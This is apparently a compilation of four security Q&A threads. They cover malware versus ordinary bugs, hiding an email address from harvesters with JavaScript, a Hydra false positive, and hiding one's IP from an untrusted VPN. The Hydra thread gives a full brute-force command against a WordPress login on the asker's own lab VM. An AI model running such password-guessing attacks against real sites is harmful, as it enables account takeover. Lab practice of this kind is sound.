Suppose I encountered an unexpected behavior in the operating system, e.g. random shutdowns, rendering issues, software crashes etc: I know a lot of known bugs can be found on the Internet, but how about if I can't? Should I treat the unexpected behavior(s) (possibly many) as software bugs which unfortunately happened to appear on my computer, or should I start thinking whether my computer has been hacked and those strange behaviors are due to malware attacks?

Good question! Indeed such behavior is quite common. I usually use the same computer for a while so I can spot the differences. I first check whether I have too many tabs open in the browser so that the computer gets slowed down and some features stop working.

The next thing I check is whether I run the computer for too long in adverse circumstances. When you forget to shut down the PC over night some processes may run amok already. I open the Task Manager and look up the processes currently running causing the most load.

Also during summer watching videos or playing games may lead to overheating and random malfunctions. When you put your laptop on the bed or couch it may overheat too because the ventilation is blocked.

The third thing I check is whether it's malware. I usually run a reliable tool like MalwareBytes AntiMalware. I also look up in CCleaner to see whether there are some strange items added to autostart. Of course these techniques apply to Windows.


Is security by obscurity / obfuscation a valid option, or do the crawlers have JavaScript enabled? I'm creating a new website, so I am thinking about how to protect my email address and phone number against crawlers, I actually mean email harvesters (most of which I suppose don't have JavaScript enabled, but I don't have any proof of it). What I do now is definitely security by obscurity or obfuscation (I might be confusing the two terms), as I want the email address to be normally visible and clickable by the user.

My question for Security SE as I will be posting the code to Code Review SE shortly:

Is security by obscurity / obfuscation a valid option, or do the crawlers = email harvesters have JavaScript enabled?

JavaScript

var item1 = '@';
var item2 = '.';
var m_clear_text = 'test' + item1 + 'example' + item2 + 'com';
var m_html_item = document.getElementById('m_link');
m_html_item.innerHTML = '' + m_clear_text + '';

HTML

test [a.t] example [d.o.t] com

My goal was to make even the JS code obfuscated / obscured little bit, I believe this approach might help, but it again depends on whether the email harvesters have JavaScript enabled.

Yes some email harvesters will render the page and scrape the results therefore no matter how obfuscated your JavaScript is, if the JavaScript simply outputs a plain text email it's possible it will be harvested.

On the other hand your html example above likely would not get harvested because they probably don't have that format built into many scrapers.

Another option is to just put an image of your email on your site that is readable to humans but a scraper would never scrape since most harvests don't implement OCR.


Hydra says it found a password, but doesn't show it I'm running Hydra against a vulnerable VM running on my own server. I'm trying to find the password for the "admin" username.

This is the command I ran:

hydra -vV -l admin -P /root/Documents/000webhost.txt 10.0.2.10 http-post-form '/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'

After sometime running, I got this message:

[80][http-post-form] host: 10.0.2.10   login: admin
[STATUS] attack finished for 10.0.2.10 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-12-27 18:12:43

It says it found the password, but it does not show that password.

Usually the password is shown in the line that also says "login: admin".

Any idea of whats going on? Thanks.

EDIT

I seam to have found the issue. There is an empty line/password (i.e. "") in the file. This empty password is shown to be attempted 19 lines before the "result" output:

[ATTEMPT] target 10.0.2.10 - login "admin" - pass "" - 15067 of 720303 [child 10] (0/0)

I inputted the "" as the password directly in the target web app and the response it gives is different from "is incorrect", thus causing the false positive. What is strange is that Hydra does not output it.

I created a smaller passwords file with an empty line, and the issue was repeated. I then removed the empty line from the file and ran Hydra again, this time without getting the false positive.

Thanks again.

The passwords file that I've sent to Hydra contains an empty line (i.e. ""). When this value is sent to the web app, the response is "The password is empty", which is different from the "is incorrect" that it returns for most other passwords and that I sent to Hydra.

A similar thing happens when the password is "0", although, in this case, Hydra does show the attempted password.

For the time being, I removed those two entries from the passwords file, which avoids the false positive I was getting.

If someone knows a way to tell Hydra to support multiple "failure" strings, please let me know. Thanks.


Hiding client IP from a VPN server VPNs can often be useful for obscuring personably identifying information (IP, geolocation, etc.) from remote destination servers.
Traffic is routed through a VPN server and forwarded to the destination. As far as the remote destination servers are concerned, the traffic appears to have originated from the VPN server's IP address.
In this sense, the VPN tunnel/server essentially behaves as a proxy, intermediary, or go-between (not unlike a broker); probably not one of the original design goals for this technology, regardless it can often be desirable to exploit (i.e. take advantage of) it's inherent properties to facilitate such a purpose.

However, the IP address from whence the traffic truly originates, will obviously be visible to the VPN server. What solutions exist for hiding (e.g. disguising, obscuring) this information from an untrusted VPN server?
A few ideas immediately come to mind, but suitability, effectiveness, and implementation details are unclear:

Encapsulate the untrusted VPN tunnel within a (secondary) trusted VPN tunnel (or vice versa?) (but how?).
VPN router firmware (Tomato, DD-WRT, OpenWRT, etc.) with paid subscription service (e.g. ExpressVPN, Nord, PIA) in conjunction with untrusted VPN client on end-user device.
Two VPN connections, untrusted VPN in virtual machine, trusted VPN on physical host.
Full-tunnel / split-tunnel manipulation.
IPv4 forwarding / iptables type magic.
SOCKS Proxy and / or TOR chaining (proxychains or similar) (before and / or after vpn connection? encapsulated? serial? both? unsure).
Encapsulating with ssh tunnel or vice versa.
Something involving torify, torsocks, tsocks, shadowsocks, etc. (more reading required).
Something involving self-hosted proxy or VPN solution (privoxy, squid, nginx, openvpn).
Something involving a VPS SaaS.